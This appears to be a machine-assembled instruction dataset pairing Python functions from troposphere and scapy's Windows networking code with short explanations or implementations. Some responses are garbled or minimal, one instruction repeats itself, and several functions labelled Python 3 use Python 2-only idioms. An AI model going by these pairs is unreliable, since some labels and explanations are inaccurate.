Instruction:
Here you have a function in Python 3, explain what it does
def validate_memory_size(memory_value):
    memory_value = int(positive_integer(memory_value))
    if memory_value not in MEMORY_VALUES:
        raise ValueError("Lambda Function memory size must be one of:\n %s" %
                         ", ".join(str(mb) for mb in MEMORY_VALUES))
    return memory_value

Response:
Validate the memory size for Lambda Function
   .


Instruction:
Explain what the following Python 3 code does
def get_validator_list(self):
        ignore = [
            'dict',
        ]
        vlist = []
        if not self.override:
            return vlist

        for k, v in list(self.override['classes'].items()):
            if 'validator' in v:
                validator = v['validator']
                if validator not in ignore and validator not in vlist:
                    vlist.append(validator)

        for k, v in list(self.override['classes'].items()):
            for kp, vp in list(v.items()):
                if 'validator' in vp:
                    validator = vp['validator']
                    if validator not in ignore and validator not in vlist:
                        vlist.append(validator)
        return sorted(vlist)

Response: Return a list of validators specified in the override file


Instruction:
Can you tell what is the following Python 3 function doing
def _output_tags(self):
        for class_name, properties in sorted(self.resources.items()):
            for key, value in sorted(properties.items()):
                validator = self.override.get_validator(class_name, key)
                if key == 'Tags' and validator is None:
                    print("from troposphere import Tags")
                    return
        for class_name, properties in sorted(self.properties.items()):
            for key, value in sorted(properties.items()):
                validator = self.override.get_validator(class_name, key)
                if key == 'Tags' and validator is None:
                    print("from troposphere import Tags")
                    return

Response: Look for a Tags object to output a Tags import


Instruction:
Create a Python 3 function to
decode a properties type looking for a specific type.

Response:
def _check_type(self, check_type, properties):
        """Decode a properties type looking for a specific type."""
        if 'PrimitiveType' in properties:
            return properties['PrimitiveType'] == check_type
        if properties['Type'] == 'List':
            if 'ItemType' in properties:
                return properties['ItemType'] == check_type
            else:
                return properties['PrimitiveItemType'] == check_type
        return False


Instruction:
Write a Python 3 function for
walking the resources and properties looking for a specific type.

Response:
def _walk_for_type(self, check_type):
        """Walk the resources/properties looking for a specific type."""
        for class_name, properties in sorted(self.resources.items()):
            for key, value in sorted(properties.items()):
                if self._check_type(check_type, value):
                    return True
        for class_name, properties in sorted(self.properties.items()):
            for key, value in sorted(properties.items()):
                if self._check_type(check_type, value):
                    return True

        return False


Instruction:
Write a Python 3 function for
returning a list of non - primitive types used by this object.

Response:
def _get_type_list(self, props):
        """Return a list of non-primitive types used by this object."""
        type_list = []
        for k, v in list(props.items()):
            t = self._get_property_type(v)
            if t is not None:
                type_list.append(t)
        return sorted(type_list)


Instruction:
Can you generate a brief explanation for the following Python 3 code
def _output_validators(self):
        if self._walk_for_type('Boolean'):
            print("from .validators import boolean")
        if self._walk_for_type('Integer'):
            print("from .validators import integer")
        vlist = self.override.get_validator_list()
        for override in vlist:
            if override.startswith('common/'):
                override = override.lstrip('common/')
                filename = "validators"
            else:
                filename = "%s_validators" % self.filename
            print("from .%s import %s" % (filename, override))

Response: Output common validator types based on usage.


Instruction:
Given the following Python 3 function, write the documentation
def build_tree(self, name, props, resource_name=None):
        n = Node(name, props, resource_name)
        prop_type_list = self._get_type_list(props)
        if not prop_type_list:
            return n
        prop_type_list = sorted(prop_type_list)
        for prop_name in prop_type_list:
            if prop_name == 'Tag':
                continue
            child = self.build_tree(prop_name, self.properties[prop_name])
            if child is not None:
                n.add_child(child)
        return n

Response: Build a tree of non - primitive typed dependency order.


Instruction:
Can you generate a brief explanation for the following Python 3 code
def output_tree(self, t, seen):
        if not t:
            return
        for c in t.children:
            self.output_tree(c, seen)
        if t.name in seen:
            return
        seen[t.name] = True
        if t.resource_name:
            output_class(t.name, t.props, self.override, t.resource_name)
        else:
            output_class(t.name, t.props, self.override)

Response: Given a dependency tree of objects output it in DFS order.


Instruction:
Write a Python 3 function that can
output the generated source file.

Response:
def output(self):
        """Output the generated source file."""
        print(copyright_header % spec_version)
        self._output_imports()
        self._output_tags()
        self._output_validators()
        header = self.override.get_header()
        if header:
            print()
            print()
            print(header.rstrip())

        seen = {}
        for class_name, properties in sorted(self.resources.items()):
            resource_name = self.resource_names[class_name]
            t = self.build_tree(class_name, properties, resource_name)
            self.output_tree(t, seen)


Instruction:
Can you generate a brief explanation for the following Python 3 code
def inspect_members(self):
        if not self._inspect_members:
            TemplateGenerator._inspect_members = \
                self._import_all_troposphere_modules()
        return self._inspect_members

Response: Returns the list of all troposphere members that are able to be used in this generator


Instruction:
Can you generate a brief explanation for the following Python 3 code
def inspect_resources(self):
        if not self._inspect_resources:
            d = {}
            for m in self.inspect_members:
                if issubclass(m, (AWSObject, cloudformation.AWSCustomObject)) \
                        and hasattr(m, 'resource_type'):
                    d[m.resource_type] = m

            TemplateGenerator._inspect_resources = d

        return self._inspect_resources

Response: Returns a map of ResourceType to ResourceClass


Instruction:
Explain what the following Python 3 code does
def inspect_functions(self):
        if not self._inspect_functions:
            d = {}
            for m in self.inspect_members:
                if issubclass(m, AWSHelperFn):
                    d[m.__name__] = m

            TemplateGenerator._inspect_functions = d

        return self._inspect_functions

Response: Returns a map of FunctionName to FunctionClass


Instruction:
Write a Python 3 function for
attempting to find the troposphere class that represents Type of provided resource. Attempts to find the troposphere class that represents Type of provided resource. Attempts to find the troposphere class that represents Type of provided resource.

Response:
def _get_resource_type_cls(self, name, resource):
        """Attempts to return troposphere class that represents Type of
        provided resource. Attempts to find the troposphere class who's
        `resource_type` field is the same as the provided resources `Type`
        field.

        :param resource: Resource to find troposphere class for
        :return: None: If no class found for provided resource
                 type: Type of provided resource
        :raise ResourceTypeNotDefined:
                  Provided resource does not have a `Type` field
        """
        # If provided resource does not have `Type` field
        if 'Type' not in resource:
            raise ResourceTypeNotDefined(name)

        # Attempt to find troposphere resource with:
        #   `resource_type` == resource['Type']
        try:
            return self.inspect_resources[resource['Type']]
        except KeyError:
            # is there a custom mapping?
            for custom_member in self._custom_members:
                if custom_member.resource_type == resource['Type']:
                    return custom_member
            # If no resource with `resource_type` == resource['Type'] found
            return None


Instruction:
Can you implement a function in Python 3 that
converts any object to troposphere equivalent if applicable.

Response:
def _convert_definition(self, definition, ref=None, cls=None):
        """
        Converts any object to its troposphere equivalent, if applicable.
        This function will recurse into lists and mappings to create
        additional objects as necessary.

        :param {*} definition: Object to convert
        :param str ref: Name of key in parent dict that the provided definition
                        is from, can be None
        :param type cls: Troposphere class which represents provided definition
        """
        if isinstance(definition, Mapping):
            if 'Type' in definition:  # this is an AWS Resource
                expected_type = None
                if cls is not None:
                    expected_type = cls
                else:
                    # if the user uses the custom way to name custom resources,
                    # we'll dynamically create a new subclass for this use and
                    # pass that instead of the typical CustomObject resource
                    try:
                        expected_type = self._generate_custom_type(
                            definition['Type'])
                    except TypeError:
                        # If definition['Type'] turns out not to be a custom
                        # type (aka doesn't start with "Custom::")
                        if ref is not None:
                            raise ResourceTypeNotFound(ref, definition['Type'])
                        else:
                            # Make sure expected_type is nothing (as
                            # it always should be)
                            assert not expected_type

                if expected_type:
                    args = self._normalize_properties(definition)
                    return self._create_instance(expected_type, args, ref)

            if len(definition) == 1:  # This might be a function?
                function_type = self._get_function_type(
                    definition.keys()[0])
                if function_type:
                    return self._create_instance(
                        function_type, definition.values()[0])

            # nothing special here - return as dict
            d = {}
            for k, v in definition.iteritems():
                d[k] = self._convert_definition(v)
            return d

        elif (isinstance(definition, Sequence) and
                not isinstance(definition, basestring)):
            return [self._convert_definition(v) for v in definition]

        # anything else is returned as-is
        return definition


Instruction:
How would you explain what the following Python 3 function does
def _create_instance(self, cls, args, ref=None):
        if isinstance(cls, Sequence):
            if len(cls) == 1:
                # a list of 1 type means we must provide a list of such objects
                if (isinstance(args, basestring) or
                        not isinstance(args, Sequence)):
                    args = [args]
                return [self._create_instance(cls[0], v) for v in args]

        if isinstance(cls, Sequence)\
           or cls not in self.inspect_members.union(self._custom_members):
            # this object doesn't map to any known object. could be a string
            # or int, or a Ref... or a list of types such as
            # [basestring, FindInMap, Ref] or maybe a
            # validator such as `integer` or `port_range`
            return self._convert_definition(args)

        elif issubclass(cls, AWSHelperFn):
            # special handling for functions, we want to handle it before
            # entering the other conditions.
            try:
                if issubclass(cls, Tags):
                    arg_dict = {}
                    for d in args:
                        arg_dict[d['Key']] = d['Value']
                    return cls(arg_dict)

                if (isinstance(args, Sequence) and
                        not isinstance(args, basestring)):
                    return cls(*self._convert_definition(args))

                if issubclass(cls, autoscaling.Metadata):
                    return self._generate_autoscaling_metadata(cls, args)

                if issubclass(cls, Export):
                    return cls(args['Name'])

                args = self._convert_definition(args)
                if isinstance(args, Ref) and issubclass(cls, Ref):
                    # watch out for double-refs...
                    # this can happen if an object's .props has 'Ref'
                    # as the expected type (which is wrong and should be
                    # changed to basestring!)
                    return args

                return cls(args)

            except TypeError as ex:
                if '__init__() takes exactly' not in ex.message:
                    raise
                # special AWSHelperFn typically take lowercased parameters,
                # but templates use uppercase. for this reason we cannot
                # map to most of them, so we fallback with a generic one.
                # this might not work for all types if they do extra
                # processing in their init routine
                return GenericHelperFn(args)

        elif isinstance(args, Mapping):
            # we try to build as many troposphere objects as we can by
            # inspecting its type validation metadata
            kwargs = {}
            kwargs.update(args)
            for prop_name in getattr(cls, 'props', []):
                if prop_name not in kwargs:
                    continue  # the user did not specify this value; skip it
                expected_type = cls.props[prop_name][0]

                if (isinstance(expected_type, Sequence) or
                        expected_type in self.inspect_members):
                    kwargs[prop_name] = self._create_instance(
                        expected_type, kwargs[prop_name], prop_name)
                else:
                    kwargs[prop_name] = self._convert_definition(
                        kwargs[prop_name], prop_name)

            args = self._convert_definition(kwargs)
            if isinstance(args, Ref):
                # use the returned ref instead of creating a new object
                return args
            if isinstance(args, AWSHelperFn):
                return self._convert_definition(kwargs)
            assert isinstance(args, Mapping)
            return cls(title=ref, **args)

        return cls(self._convert_definition(args))

Response: Create an instance of cls with args passed as arguments.


Instruction:
Implement a function in Python 3 to
return a copy of the definition with any special properties such as Condition UpdatePolicy and DeletionPolicy.

Response:
def _normalize_properties(self, definition):
        """
        Inspects the definition and returns a copy of it that is updated
        with any special property such as Condition, UpdatePolicy and the
        like.
        """
        args = definition.get('Properties', {}).copy()
        if 'Condition' in definition:
            args.update({'Condition': definition['Condition']})
        if 'UpdatePolicy' in definition:
            # there's only 1 kind of UpdatePolicy; use it
            args.update({'UpdatePolicy': self._create_instance(
                UpdatePolicy, definition['UpdatePolicy'])})
        if 'CreationPolicy' in definition:
            # there's only 1 kind of CreationPolicy; use it
            args.update({'CreationPolicy': self._create_instance(
                CreationPolicy, definition['CreationPolicy'])})
        if 'DeletionPolicy' in definition:
            # DeletionPolicity is very basic
            args.update(
                {'DeletionPolicy': self._convert_definition(
                    definition['DeletionPolicy'])})
        if 'Metadata' in definition:
            # there are various kind of metadata; pass it as-is
            args.update(
                {'Metadata': self._convert_definition(
                    definition['Metadata'])})
        if 'DependsOn' in definition:
            args.update(
                {'DependsOn': self._convert_definition(
                    definition['DependsOn'])})
        return args


Instruction:
Can you generate the documentation for the following Python 3 function
def _generate_custom_type(self, resource_type):
        if not resource_type.startswith("Custom::"):
            raise TypeError("Custom types must start with Custom::")
        custom_type = type(
            str(resource_type.replace("::", "")),
            (self.inspect_resources['AWS::CloudFormation::CustomResource'],),
            {'resource_type': resource_type})
        self.inspect_members.add(custom_type)
        self.inspect_resources[resource_type] = custom_type
        return custom_type

Response: Dynamically allocates a new CustomResource class definition using the specified Custom :: SomeCustomName resource type.


Instruction:
Can you implement a function in Python 3 that
generates the autoscaling. Metadata object from the given args.

Response:
def _generate_autoscaling_metadata(self, cls, args):
        """ Provides special handling for the autoscaling.Metadata object """
        assert isinstance(args, Mapping)
        init_config = self._create_instance(
            cloudformation.InitConfig,
            args['AWS::CloudFormation::Init']['config'])
        init = self._create_instance(
            cloudformation.Init, {'config': init_config})
        auth = None
        if 'AWS::CloudFormation::Authentication' in args:
            auth_blocks = {}
            for k in args['AWS::CloudFormation::Authentication']:
                auth_blocks[k] = self._create_instance(
                    cloudformation.AuthenticationBlock,
                    args['AWS::CloudFormation::Authentication'][k],
                    k)
            auth = self._create_instance(
                cloudformation.Authentication, auth_blocks)

        return cls(init, auth)


Instruction:
Can you tell what is the following Python 3 function doing
def _get_function_type(self, function_name):
        if (function_name.startswith("Fn::") and
                function_name[4:] in self.inspect_functions):
            return self.inspect_functions[function_name[4:]]
        return (self.inspect_functions['Ref'] if function_name == "Ref"
                else None)

Response: Returns the function object that matches the provided name.


Instruction:
Explain what the following Python 3 code does
def _import_all_troposphere_modules(self):
        dirname = os.path.join(os.path.dirname(__file__))
        module_names = [
            pkg_name
            for importer, pkg_name, is_pkg in
            pkgutil.walk_packages([dirname], prefix="troposphere.")
            if not is_pkg and pkg_name not in self.EXCLUDE_MODULES]
        module_names.append('troposphere')

        modules = []
        for name in module_names:
            modules.append(importlib.import_module(name))

        def members_predicate(m):
            return inspect.isclass(m) and not inspect.isbuiltin(m)

        members = []
        for module in modules:
            members.extend((m[1] for m in inspect.getmembers(
                module, members_predicate)))

        return set(members)

Response: Imports all troposphere modules and returns them


Instruction:
Can you generate a brief explanation for the following Python 3 code
def PCO_option_dispatcher(s):
    option = orb(s[0])

    cls = PCO_OPTION_CLASSES.get(option, Raw)
    return cls(s)

Response: Choose the correct PCO element.


Instruction:
Make a summary of the following Python 3 code
def PCO_protocol_dispatcher(s):
    proto_num = orb(s[0]) * 256 + orb(s[1])
    cls = PCO_PROTOCOL_CLASSES.get(proto_num, Raw)
    return cls(s)

Response: Choose the correct PCO element.


Instruction:
Make a summary of the following Python 3 code
def _get_npcap_config(param_key):
    hkey = winreg.HKEY_LOCAL_MACHINE
    node = r"SYSTEM\CurrentControlSet\Services\npcap\Parameters"
    try:
        key = winreg.OpenKey(hkey, node)
        dot11_adapters, _ = winreg.QueryValueEx(key, param_key)
        winreg.CloseKey(key)
    except WindowsError:
        return None
    return dot11_adapters

Response: Get a Npcap parameter matching key in the registry.


Instruction:
Write a Python 3 script to
call a CMD command and return the output and returncode

Response:
def _exec_cmd(command):
    """Call a CMD command and return the output and returncode"""
    proc = sp.Popen(command,
                    stdout=sp.PIPE,
                    shell=True)
    if six.PY2:
        res = proc.communicate()[0]
    else:
        res = proc.communicate(timeout=5)[0]
    return res, proc.returncode


Instruction:
Can you generate a brief explanation for the following Python 3 code
def get_windows_if_list(extended=False):
    # Should work on Windows XP+
    def _get_mac(x):
        size = x["physical_address_length"]
        if size != 6:
            return ""
        data = bytearray(x["physical_address"])
        return str2mac(bytes(data)[:size])

    def _get_ips(x):
        unicast = x['first_unicast_address']
        anycast = x['first_anycast_address']
        multicast = x['first_multicast_address']

        def _resolve_ips(y):
            if not isinstance(y, list):
                return []
            ips = []
            for ip in y:
                addr = ip['address']['address'].contents
                if addr.si_family == socket.AF_INET6:
                    ip_key = "Ipv6"
                    si_key = "sin6_addr"
                else:
                    ip_key = "Ipv4"
                    si_key = "sin_addr"
                data = getattr(addr, ip_key)
                data = getattr(data, si_key)
                data = bytes(bytearray(data.byte))
                # Build IP
                if data:
                    ips.append(inet_ntop(addr.si_family, data))
            return ips

        ips = []
        ips.extend(_resolve_ips(unicast))
        if extended:
            ips.extend(_resolve_ips(anycast))
            ips.extend(_resolve_ips(multicast))
        return ips

    if six.PY2:
        _str_decode = lambda x: x.encode('utf8', errors='ignore')
    else:
        _str_decode = plain_str
    return [
        {
            "name": _str_decode(x["friendly_name"]),
            "win_index": x["interface_index"],
            "description": _str_decode(x["description"]),
            "guid": _str_decode(x["adapter_name"]),
            "mac": _get_mac(x),
            "ipv4_metric": 0 if WINDOWS_XP else x["ipv4_metric"],
            "ipv6_metric": 0 if WINDOWS_XP else x["ipv6_metric"],
            "ips": _get_ips(x)
        } for x in GetAdaptersAddresses()
    ]

Response: Returns a list of Windows interfaces through GetAdaptersAddresses.


Instruction:
Write a Python 3 function that can
return all available IPs matching to interfaces using the Windows system.

Response:
def get_ips(v6=False):
    """Returns all available IPs matching to interfaces, using the windows system.
    Should only be used as a WinPcapy fallback."""
    res = {}
    for iface in six.itervalues(IFACES):
        ips = []
        for ip in iface.ips:
            if v6 and ":" in ip:
                ips.append(ip)
            elif not v6 and ":" not in ip:
                ips.append(ip)
        res[iface] = ips
    return res


Instruction:
Can you write a function in Python 3 where it
gets IP from interface name.

Response:
def get_ip_from_name(ifname, v6=False):
    """Backward compatibility: indirectly calls get_ips
    Deprecated."""
    iface = IFACES.dev_from_name(ifname)
    return get_ips(v6=v6).get(iface, [""])[0]


Instruction:
Can you generate a brief explanation for the following Python 3 code
def pcapname(dev):
    if isinstance(dev, NetworkInterface):
        if dev.is_invalid():
            return None
        return dev.pcap_name
    try:
        return IFACES.dev_from_name(dev).pcap_name
    except ValueError:
        return IFACES.dev_from_pcapname(dev).pcap_name

Response: Get the device pcap name by device name or Scapy NetworkInterface


Instruction:
Write a Python 3 function for
opening a pcap from an interface.

Response:
def open_pcap(iface, *args, **kargs):
    """open_pcap: Windows routine for creating a pcap from an interface.
    This function is also responsible for detecting monitor mode.
    """
    iface_pcap_name = pcapname(iface)
    if not isinstance(iface, NetworkInterface) and iface_pcap_name is not None:
        iface = IFACES.dev_from_name(iface)
    if iface.is_invalid():
        raise Scapy_Exception("Interface is invalid (no pcap match found) !")
    # Only check monitor mode when manually specified.
    # Checking/setting for monitor mode will slow down the process, and the
    # common is case is not to use monitor mode
    kw_monitor = kargs.get("monitor", None)
    if conf.use_npcap and kw_monitor is not None and iface is not None:
        monitored = iface.ismonitor()
        if kw_monitor is not monitored:
            # The monitor param is specified, and not matching the current
            # interface state
            iface.setmonitor(kw_monitor)
    return _orig_open_pcap(iface_pcap_name, *args, **kargs)


Instruction:
Write a Python 3 function that can
retrieve Windows routes through a GetIpForwardTable call. This is compatible with XP but won t get IPv6 routes.

Response:
def _read_routes_c_v1():
    """Retrieve Windows routes through a GetIpForwardTable call.

    This is compatible with XP but won't get IPv6 routes."""
    def _extract_ip(obj):
        return inet_ntop(socket.AF_INET, struct.pack("<I", obj))
    routes = []
    for route in GetIpForwardTable():
        ifIndex = route['ForwardIfIndex']
        dest = route['ForwardDest']
        netmask = route['ForwardMask']
        nexthop = _extract_ip(route['ForwardNextHop'])
        metric = route['ForwardMetric1']
        # Build route
        try:
            iface = dev_from_index(ifIndex)
            if iface.ip == "0.0.0.0":
                continue
        except ValueError:
            continue
        ip = iface.ip
        # RouteMetric + InterfaceMetric
        metric = metric + iface.ipv4_metric
        routes.append((dest, netmask, nexthop, iface, ip, metric))
    return routes


Instruction:
Explain what the following Python 3 code does
def _read_routes_c(ipv6=False):
    af = socket.AF_INET6 if ipv6 else socket.AF_INET
    sock_addr_name = 'Ipv6' if ipv6 else 'Ipv4'
    sin_addr_name = 'sin6_addr' if ipv6 else 'sin_addr'
    metric_name = 'ipv6_metric' if ipv6 else 'ipv4_metric'
    ip_len = 16 if ipv6 else 4
    if ipv6:
        lifaddr = in6_getifaddr()
    routes = []

    def _extract_ip_netmask(obj):
        ip = obj[sock_addr_name][sin_addr_name]
        ip = bytes(bytearray(ip['byte']))
        # Extract netmask
        netmask = (ip_len - (len(ip) - len(ip.rstrip(b"\x00")))) * 8
        # Build IP
        ip = inet_ntop(af, ip)
        return ip, netmask

    for route in GetIpForwardTable2(af):
        # Extract data
        ifIndex = route['InterfaceIndex']
        _dest = route['DestinationPrefix']
        dest, netmask = _extract_ip_netmask(_dest['Prefix'])
        nexthop, _ = _extract_ip_netmask(route['NextHop'])
        metric = route['Metric']
        # Build route
        try:
            iface = dev_from_index(ifIndex)
            if iface.ip == "0.0.0.0":
                continue
        except ValueError:
            continue
        ip = iface.ip
        # RouteMetric + InterfaceMetric
        metric = metric + getattr(iface, metric_name)
        if ipv6:
            _append_route6(routes, dest, netmask, nexthop,
                           iface, lifaddr, metric)
        else:
            routes.append((atol(dest), itom(int(netmask)),
                           nexthop, iface, ip, metric))
    return routes

Response: Reads Windows routes through a GetIpForwardTable2 call.


Instruction:
Can you tell what is the following Python 3 function doing
def in6_getifaddr():
    ifaddrs = []
    ip6s = get_ips(v6=True)
    for iface in ip6s:
        ips = ip6s[iface]
        for ip in ips:
            scope = in6_getscope(ip)
            ifaddrs.append((ip, scope, iface))
    # Appends Npcap loopback if available
    if conf.use_npcap and scapy.consts.LOOPBACK_INTERFACE:
        ifaddrs.append(("::1", 0, scapy.consts.LOOPBACK_INTERFACE))
    return ifaddrs

Response: Returns all IPv6 addresses found on the computer


Instruction:
How would you implement a function in Python 3 that
returns an interface that works

Response:
def get_working_if():
    """Return an interface that works"""
    try:
        # return the interface associated with the route with smallest
        # mask (route by default if it exists)
        iface = min(conf.route.routes, key=lambda x: x[1])[3]
    except ValueError:
        # no route
        iface = scapy.consts.LOOPBACK_INTERFACE
    if iface.is_invalid():
        # Backup mode: try them all
        for iface in six.itervalues(IFACES):
            if not iface.is_invalid():
                return iface
        return None
    return iface


Instruction:
Write a Python 3 script to
add a route to 127. 0. 1 and :: 1 to simplify unit tests on Windows

Response:
def route_add_loopback(routes=None, ipv6=False, iflist=None):
    """Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows"""
    if not WINDOWS:
        warning("Not available")
        return
    warning("This will completely mess up the routes. Testing purpose only !")
    # Add only if some adpaters already exist
    if ipv6:
        if not conf.route6.routes:
            return
    else:
        if not conf.route.routes:
            return
    data = {
        'name': scapy.consts.LOOPBACK_NAME,
        'description': "Loopback",
        'win_index': -1,
        'guid': "{0XX00000-X000-0X0X-X00X-00XXXX000XXX}",
        'invalid': True,
        'mac': '00:00:00:00:00:00',
        'ipv4_metric': 0,
        'ipv6_metric': 0,
        'ips': ["127.0.0.1", "::"]
    }
    adapter = NetworkInterface()
    adapter.pcap_name = "\\Device\\NPF_{0XX00000-X000-0X0X-X00X-00XXXX000XXX}"
    adapter.update(data)
    adapter.invalid = False
    adapter.ip = "127.0.0.1"
    if iflist:
        iflist.append(adapter.pcap_name)
        return
    # Remove all LOOPBACK_NAME routes
    for route in list(conf.route.routes):
        iface = route[3]
        if iface.name == scapy.consts.LOOPBACK_NAME:
            conf.route.routes.remove(route)
    # Remove LOOPBACK_NAME interface
    for devname, iface in list(IFACES.items()):
        if iface.name == scapy.consts.LOOPBACK_NAME:
            IFACES.pop(devname)
    # Inject interface
    IFACES["{0XX00000-X000-0X0X-X00X-00XXXX000XXX}"] = adapter
    scapy.consts.LOOPBACK_INTERFACE = adapter
    if isinstance(conf.iface, NetworkInterface):
        if conf.iface.name == scapy.consts.LOOPBACK_NAME:
            conf.iface = adapter
    if isinstance(conf.iface6, NetworkInterface):
        if conf.iface6.name == scapy.consts.LOOPBACK_NAME:
            conf.iface6 = adapter
    conf.netcache.arp_cache["127.0.0.1"] = "ff:ff:ff:ff:ff:ff"
    conf.netcache.in6_neighbor["::1"] = "ff:ff:ff:ff:ff:ff"
    # Build the packed network addresses
    loop_net = struct.unpack("!I", socket.inet_aton("127.0.0.0"))[0]
    loop_mask = struct.unpack("!I", socket.inet_aton("255.0.0.0"))[0]
    # Build the fake routes
    loopback_route = (loop_net, loop_mask, "0.0.0.0", adapter, "127.0.0.1", 1)
    loopback_route6 = ('::1', 128, '::', adapter, ["::1"], 1)
    loopback_route6_custom = ("fe80::", 128, "::", adapter, ["::1"], 1)
    if routes is None:
        # Injection
        conf.route6.routes.append(loopback_route6)
        conf.route6.routes.append(loopback_route6_custom)
        conf.route.routes.append(loopback_route)
        # Flush the caches
        conf.route6.invalidate_cache()
        conf.route.invalidate_cache()
    else:
        if ipv6:
            routes.append(loopback_route6)
            routes.append(loopback_route6_custom)
        else:
            routes.append(loopback_route)


Instruction:
Given the following Python 3 function, write the documentation
def update(self, data):
        self.data = data
        self.name = data['name']
        self.description = data['description']
        self.win_index = data['win_index']
        self.guid = data['guid']
        self.mac = data['mac']
        self.ipv4_metric = data['ipv4_metric']
        self.ipv6_metric = data['ipv6_metric']
        self.ips = data['ips']
        if 'invalid' in data:
            self.invalid = data['invalid']
        # Other attributes are optional
        self._update_pcapdata()

        try:
            # Npcap loopback interface
            if conf.use_npcap:
                pcap_name_loopback = _get_npcap_config("LoopbackAdapter")
                if pcap_name_loopback:  # May not be defined
                    guid = _pcapname_to_guid(pcap_name_loopback)
                    if self.guid == guid:
                        # https://nmap.org/npcap/guide/npcap-devguide.html
                        self.mac = "00:00:00:00:00:00"
                        self.ip = "127.0.0.1"
                        return
        except KeyError:
            pass

        try:
            self.ip = next(x for x in self.ips if ":" not in x)
        except StopIteration:
            pass

        try:
            # Windows native loopback interface
            if not self.ip and self.name == scapy.consts.LOOPBACK_NAME:
                self.ip = "127.0.0.1"
        except (KeyError, AttributeError, NameError) as e:
            print(e)

Response: Update the internal attributes of the object according to a dictionary.


Instruction:
Given the following Python 3 function, write the documentation
def ismonitor(self):
        if self.cache_mode is not None:
            return self.cache_mode
        try:
            res = (self.mode() == "monitor")
            self.cache_mode = res
            return res
        except Scapy_Exception:
            return False

Response: Returns True if the interface is in monitor mode.


Instruction:
Explain what the following Python 3 code does
def setmonitor(self, enable=True):
        # We must reset the monitor cache
        if enable:
            res = self.setmode('monitor')
        else:
            res = self.setmode('managed')
        if not res:
            log_runtime.error("Npcap WlanHelper returned with an error code !")
        self.cache_mode = None
        tmp = self.cache_mode = self.ismonitor()
        return tmp if enable else (not tmp)

Response: Alias for setmode ( monitor ) Only available with Npcap


Instruction:
Can you tell what is the following Python 3 function doing
def setmode(self, mode):
        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11  # noqa: E501
        self._check_npcap_requirement()
        _modes = {
            0: "managed",
            1: "monitor",
            2: "master",
            3: "wfd_device",
            4: "wfd_owner",
            5: "wfd_client"
        }
        m = _modes.get(mode, "unknown") if isinstance(mode, int) else mode
        return self._npcap_set("mode", m)

Response: Set the interface mode.


Instruction:
How would you explain what the following Python 3 function does
def setmodulation(self, modu):
        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11  # noqa: E501
        self._check_npcap_requirement()
        _modus = {
            0: "dsss",
            1: "fhss",
            2: "irbaseband",
            3: "ofdm",
            4: "hrdss",
            5: "erp",
            6: "ht",
            7: "vht",
            8: "ihv",
            9: "mimo-ofdm",
            10: "mimo-ofdm",
        }
        m = _modus.get(modu, "unknown") if isinstance(modu, int) else modu
        return self._npcap_set("modu", str(m))

Response: Set the interface modulation.


Instruction:
Can you implement a function in Python 3 that
performs checks and restart pcap adapter

Response:
def _pcap_check(cls):
        """Performs checks/restart pcap adapter"""
        if not conf.use_winpcapy:
            # Winpcap/Npcap isn't installed
            return

        _detect = pcap_service_status()

        def _ask_user():
            if not conf.interactive:
                return False
            msg = "Do you want to start it ? (yes/no) [y]: "
            try:
                # Better IPython compatibility
                import IPython
                return IPython.utils.io.ask_yes_no(msg, default='y')
            except (NameError, ImportError):
                while True:
                    _confir = input(msg)
                    _confir = _confir.lower().strip()
                    if _confir in ["yes", "y", ""]:
                        return True
                    elif _confir in ["no", "n"]:
                        return False
                return False
        _error_msg = ("No match between your pcap and windows "
                      "network interfaces found. ")
        if _detect:
            # No action needed
            return
        else:
            warning(
                "Scapy has detected that your pcap service is not running !"
            )
            if not conf.interactive or _ask_user():
                succeed = pcap_service_start(askadmin=conf.interactive)
                if succeed:
                    log_loading.info("Pcap service started !")
                    return
            _error_msg = "Could not start the pcap service ! "
        warning(_error_msg +
                "You probably won't be able to send packets. "
                "Deactivating unneeded interfaces and restarting "
                "Scapy might help. Check your winpcap/npcap installation "
                "and access rights.")


Instruction:
Create a Python 3 function to
return the first pcap device name for a given Windows device name.

Response:
def dev_from_name(self, name):
        """Return the first pcap device name for a given Windows
        device name.
        """
        try:
            return next(iface for iface in six.itervalues(self)
                        if (iface.name == name or iface.description == name))
        except (StopIteration, RuntimeError):
            raise ValueError("Unknown network interface %r" % name)


Instruction:
Can you create a Python 3 function that
returns Windows device name for given pcap device name.

Response:
def dev_from_pcapname(self, pcap_name):
        """Return Windows device name for given pcap device name."""
        try:
            return next(iface for iface in six.itervalues(self)
                        if iface.pcap_name == pcap_name)
        except (StopIteration, RuntimeError):
            raise ValueError("Unknown pypcap network interface %r" % pcap_name)


Instruction:
Here you have a function in Python 3, explain what it does
def dev_from_index(self, if_index):
        try:
            if_index = int(if_index)  # Backward compatibility
            return next(iface for iface in six.itervalues(self)
                        if iface.win_index == if_index)
        except (StopIteration, RuntimeError):
            if str(if_index) == "1":
                # Test if the loopback interface is set up
                if isinstance(scapy.consts.LOOPBACK_INTERFACE, NetworkInterface):  # noqa: E501
                    return scapy.consts.LOOPBACK_INTERFACE
            raise ValueError("Unknown network interface index %r" % if_index)

Response: Return interface name from interface index


Instruction:
Write a Python 3 function for
reloading the internal list of the interface list

Response:
def reload(self):
        """Reload interface list"""
        self.restarted_adapter = False
        self.data.clear()
        if conf.use_winpcapy:
            # Reload from Winpcapy
            from scapy.arch.pcapdnet import load_winpcapy
            load_winpcapy()
        self.load()
        # Reload conf.iface
        conf.iface = get_working_if()


Instruction:
Create a Python 3 function for
printing list of available network interfaces in human readable form

Response:
def show(self, resolve_mac=True, print_result=True):
        """Print list of available network interfaces in human readable form"""
        res = []
        for iface_name in sorted(self.data):
            dev = self.data[iface_name]
            mac = dev.mac
            if resolve_mac and conf.manufdb:
                mac = conf.manufdb._resolve_MAC(mac)
            validity_color = lambda x: conf.color_theme.red if x else \
                conf.color_theme.green
            description = validity_color(dev.is_invalid())(
                str(dev.description)
            )
            index = str(dev.win_index)
            res.append((index, description, str(dev.ip), mac))

        res = pretty_list(res, [("INDEX", "IFACE", "IP", "MAC")], sortBy=2)
        if print_result:
            print(res)
        else:
            return res


Instruction:
How would you explain what the following Python 3 function does
def select(sockets, remain=None):
        if remain is not None:
            max_timeout = remain / len(sockets)
            for s in sockets:
                if s.timeout > max_timeout:
                    s.timeout = max_timeout

        # python-can sockets aren't selectable, so we return all of them
        # sockets, None (means use the socket's recv() )
        return sockets, None

Response: This function is called during sendrecv routine to select the available sockets.


Instruction:
